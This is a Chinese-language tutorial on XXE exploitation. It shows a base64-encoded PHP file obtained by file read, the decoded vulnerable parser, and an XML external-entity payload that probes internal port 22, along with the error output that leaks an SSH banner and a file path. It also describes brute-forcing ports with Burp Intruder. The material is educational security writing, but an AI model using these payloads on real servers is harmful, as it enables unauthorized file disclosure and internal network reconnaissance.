XXE漏洞3-通过 XXE 漏洞实现文件读取及端口探测
一.如何通过XXE漏洞读取php文件。
前面文章我们已经演示了通过file:///去读取文件,通过XXE漏洞php文件是读取不到的,我们
该如何读取php文件呢?
我们可以通过一下代码实现读取php文件。

PD9waHAKJHhtbD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsKJGRhdGEgPSBzaW1wbGV4bWxfbG9hZF9zdHJpbmcoJHhtbCkgOwplY2hvICI8cHJlPiIgOwpwcmludF9yKCRkYXRhKSA7CmVjaG8gIjwvcHJlPiIgOwo/Pgo=
再对base64编码进行解码:
就可以查看到php文件了:
<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
echo "</pre>" ;
?>
二.端口探测方式
类似于SSRF漏洞一样进行端口探测,实现起来也非常的简单,代码如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:22" >]>
<root>
<name>&xxe;</name>
</root>
通过实体解析到内网网段22端口。
我们看到是有回显的并且包含报错信息:
Warning: simplexml_load_string(http://127.0.0.1:22) [function.simplexml-load-string]: failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1 in /var/www/xxe.php on line 3
这条可以看到虽然报错failed to open stream: HTTP request failed! 但还是显示SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
Warning: simplexml_load_string() [function.simplexml-load-string]: I/O warning : failed to load external entity "http://127.0.0.1:22" in /var/www/xxe.php on line 3
这条报错暴露了文件位置以及是simplexml-load-string导致的错误。
可通过 burpsuite 或脚本实现批量探测
如此一来我们就可以探测到端口信息,并且可以使用bp进行暴力枚举:
通过intruder模块进行暴力枚举,设置0-443(实战你们可以直接65545).
然后我们可以通过回显长度进行判断端口存活情况:
以上就是我们的文件读取以及端口探测的方式。
总结:
1)通过php://filter协议以base64编码格式读取PHP文件内容,解码后可获取源代码;
2)结合SSRF技术进行端口探测,通过响应信息判断目标端口开放状态,并可结合BurpSuite批量探测。这两种方法分别实现了敏感文件读取和网络探测功能,其中端口探测会返回banner信息并可能暴露文件路径,通过响应长度差异可判断端口存活情况。